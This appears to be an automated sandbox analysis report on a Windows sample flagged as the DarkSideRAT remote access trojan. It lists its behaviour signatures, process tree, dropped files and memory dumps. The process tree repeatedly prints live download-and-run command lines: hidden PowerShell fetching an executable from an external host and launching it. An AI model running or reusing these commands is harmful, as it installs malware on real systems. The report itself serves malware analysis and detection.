Analysis
- max time kernel
150s - max time network
139s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
08/08/2026, 02:51
General
- Target 2026-08-08_b84167c684fbd00c5c48d0aad65c380d_glassworm_icedid_luca-stealer_njrat_stealc_vidar.exe
- Size 13.2MB
- Sample260808-dcdl9sgl7t
- SHA256 0ac9a2e89a2c61ea2a613028ba954bc35acb0f99ea6af82c3187824e5b806978
Malware Config
Signatures
- Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
- Detects DarkSideRAT 3 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 2 IoCs
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-08-08_b84167c684fbd00c5c48d0aad65c380d_glassworm_icedid_luca-stealer_njrat_stealc_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-08_b84167c684fbd00c5c48d0aad65c380d_glassworm_icedid_luca-stealer_njrat_stealc_vidar.exe"1⤵
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\2026-08-08_b84167c684fbd00c5c48d0aad65c380d_glassworm_icedid_luca-stealer_njrat_stealc_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-08_b84167c684fbd00c5c48d0aad65c380d_glassworm_icedid_luca-stealer_njrat_stealc_vidar.exe"2⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt_iRtAI9' -OutFile $env:APPDATA\BK375947.exe; Start-Process -FilePath $env:APPDATA\BK375947.exe -WindowStyle Hidden }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt_iRtAI9' -OutFile $env:APPDATA\BK375947.exe; Start-Process -FilePath $env:APPDATA\BK375947.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt_iRtAI9' -OutFile $env:APPDATA\BK375947.exe; Start-Process -FilePath $env:APPDATA\BK375947.exe -WindowStyle Hidden }"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_Aynmoa' -OutFile $env:APPDATA\BK358891.exe; Start-Process -FilePath $env:APPDATA\BK358891.exe -WindowStyle Hidden }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_Aynmoa' -OutFile $env:APPDATA\BK358891.exe; Start-Process -FilePath $env:APPDATA\BK358891.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_Aynmoa' -OutFile $env:APPDATA\BK358891.exe; Start-Process -FilePath $env:APPDATA\BK358891.exe -WindowStyle Hidden }"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\BK358891.exe"C:\Users\Admin\AppData\Roaming\BK358891.exe"5⤵
- Executes dropped EXE
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
d3dcompiler_47.dll
ModuleAnalysisCache
BK358891.exe
memory/52-17-0x00007FFE4D100000-0x00007FFE4DAA4000-memory.dmp
memory/52-19-0x00007FFE4D100000-0x00007FFE4DAA4000-memory.dmp
memory/52-10-0x00007FFE4D100000-0x00007FFE4DAA4000-memory.dmp
memory/52-12-0x00007FFE4D100000-0x00007FFE4DAA4000-memory.dmp
memory/52-13-0x00007FFE4D100000-0x00007FFE4DAA4000-memory.dmp
memory/52-11-0x000001FAEFDD0000-0x000001FAEFDF2000-memory.dmp
memory/52-14-0x00007FFE4D100000-0x00007FFE4DAA4000-memory.dmp
memory/52-15-0x00007FFE4D100000-0x00007FFE4DAA4000-memory.dmp
memory/52-16-0x00007FFE4D100000-0x00007FFE4DAA4000-memory.dmp
memory/52-29-0x00007FFE4D100000-0x00007FFE4DAA4000-memory.dmp
memory/52-18-0x00007FFE4D100000-0x00007FFE4DAA4000-memory.dmp
memory/52-7-0x00007FFE4D28F000-0x00007FFE4D290000-memory.dmp
memory/52-21-0x00007FFE4D100000-0x00007FFE4DAA4000-memory.dmp
memory/52-20-0x00007FFE4D100000-0x00007FFE4DAA4000-memory.dmp
memory/52-22-0x00007FFE4D100000-0x00007FFE4DAA4000-memory.dmp
memory/52-23-0x00007FFE4D100000-0x00007FFE4DAA4000-memory.dmp
memory/52-27-0x00007FFE4D100000-0x00007FFE4DAA4000-memory.dmp
memory/868-6-0x0000000140000000-0x0000000140015000-memory.dmp
memory/868-5-0x0000000140000000-0x0000000140015000-memory.dmp
memory/4064-26-0x0000000140000000-0x0000000140D69000-memory.dmp
memory/4064-1-0x0000000140000000-0x0000000140D69000-memory.dmp